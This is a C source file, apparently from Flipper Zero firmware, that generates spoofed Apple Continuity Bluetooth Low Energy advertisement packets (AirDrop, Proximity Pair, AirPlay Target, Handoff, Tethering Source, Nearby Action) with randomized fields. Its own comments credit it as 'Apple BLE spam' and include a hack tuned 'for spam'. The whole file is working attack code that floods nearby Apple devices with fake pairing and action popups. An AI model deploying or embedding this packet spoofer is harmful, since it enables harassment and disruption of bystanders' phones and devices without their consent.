continuity.c 5.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130
  1. #include "continuity.h"
  2. #include <furi_hal_random.h>
  3. // Hacked together by @Willy-JL
  4. // Custom adv logic by @Willy-JL (idea by @xMasterX)
  5. // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
  6. // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
  7. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  8. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  9. static const char* continuity_type_names[ContinuityTypeCount] = {
  10. [ContinuityTypeAirDrop] = "AirDrop",
  11. [ContinuityTypeProximityPair] = "Proximity Pair",
  12. [ContinuityTypeAirplayTarget] = "Airplay Target",
  13. [ContinuityTypeHandoff] = "Handoff",
  14. [ContinuityTypeTetheringSource] = "Tethering Source",
  15. [ContinuityTypeNearbyAction] = "Nearby Action",
  16. };
  17. const char* continuity_get_type_name(ContinuityType type) {
  18. return continuity_type_names[type];
  19. }
  20. static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
  21. [ContinuityTypeAirDrop] = 24,
  22. [ContinuityTypeProximityPair] = 31,
  23. [ContinuityTypeAirplayTarget] = 12,
  24. [ContinuityTypeHandoff] = 20,
  25. [ContinuityTypeTetheringSource] = 12,
  26. [ContinuityTypeNearbyAction] = 11,
  27. };
  28. uint8_t continuity_get_packet_size(ContinuityType type) {
  29. return continuity_packet_sizes[type];
  30. }
  31. void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
  32. uint8_t size = continuity_get_packet_size(msg->type);
  33. uint8_t i = 0;
  34. packet[i++] = size - 1; // Packet Length
  35. packet[i++] = 0xFF; // Packet Header
  36. packet[i++] = 0x4C; // ...
  37. packet[i++] = 0x00; // ...
  38. packet[i++] = msg->type; // Type
  39. packet[i] = size - i - 1; // Message Length
  40. i++;
  41. switch(msg->type) {
  42. case ContinuityTypeAirDrop:
  43. packet[i++] = 0x00; // Zeros
  44. packet[i++] = 0x00; // ...
  45. packet[i++] = 0x00; // ...
  46. packet[i++] = 0x00; // ...
  47. packet[i++] = 0x00; // ...
  48. packet[i++] = 0x00; // ...
  49. packet[i++] = 0x00; // ...
  50. packet[i++] = 0x00; // ...
  51. packet[i++] = 0x01; // Version
  52. packet[i++] = (rand() % 256); // AppleID
  53. packet[i++] = (rand() % 256); // ...
  54. packet[i++] = (rand() % 256); // Phone Number
  55. packet[i++] = (rand() % 256); // ...
  56. packet[i++] = (rand() % 256); // Email
  57. packet[i++] = (rand() % 256); // ...
  58. packet[i++] = (rand() % 256); // Email2
  59. packet[i++] = (rand() % 256); // ...
  60. packet[i++] = 0x00; // Zero
  61. break;
  62. case ContinuityTypeProximityPair:
  63. packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  64. packet[i++] = msg->data.proximity_pair.model >> 8;
  65. packet[i++] = msg->data.proximity_pair.model & 0xFF;
  66. packet[i++] = 0x55; // Status
  67. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  68. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  69. packet[i++] = (rand() % 256); // Lid Open Counter
  70. packet[i++] = 0x00; // Device Color
  71. packet[i++] = 0x00;
  72. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  73. i += 16;
  74. break;
  75. case ContinuityTypeAirplayTarget:
  76. packet[i++] = (rand() % 256); // Flags
  77. packet[i++] = (rand() % 256); // Configuration Seed
  78. packet[i++] = (rand() % 256); // IPv4 Address
  79. packet[i++] = (rand() % 256); // ...
  80. packet[i++] = (rand() % 256); // ...
  81. packet[i++] = (rand() % 256); // ...
  82. break;
  83. case ContinuityTypeHandoff:
  84. packet[i++] = 0x01; // Version
  85. packet[i++] = (rand() % 256); // Initialization Vector
  86. packet[i++] = (rand() % 256); // ...
  87. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  88. packet[i++] = (rand() % 256); // Encrypted Payload
  89. packet[i++] = (rand() % 256); // ...
  90. packet[i++] = (rand() % 256); // ...
  91. packet[i++] = (rand() % 256); // ...
  92. packet[i++] = (rand() % 256); // ...
  93. packet[i++] = (rand() % 256); // ...
  94. packet[i++] = (rand() % 256); // ...
  95. packet[i++] = (rand() % 256); // ...
  96. packet[i++] = (rand() % 256); // ...
  97. packet[i++] = (rand() % 256); // ...
  98. break;
  99. case ContinuityTypeTetheringSource:
  100. packet[i++] = 0x01; // Version
  101. packet[i++] = (rand() % 256); // Flags
  102. packet[i++] = (rand() % 101); // Battery Life
  103. packet[i++] = 0x00; // Cell Service Type
  104. packet[i++] = (rand() % 8); // ...
  105. packet[i++] = (rand() % 5); // Cell Service Strength
  106. break;
  107. case ContinuityTypeNearbyAction:
  108. packet[i] = msg->data.nearby_action.flags; // Action Flags
  109. if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
  110. i++;
  111. packet[i++] = msg->data.nearby_action.type;
  112. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  113. i += 3;
  114. break;
  115. default:
  116. break;
  117. }
  118. }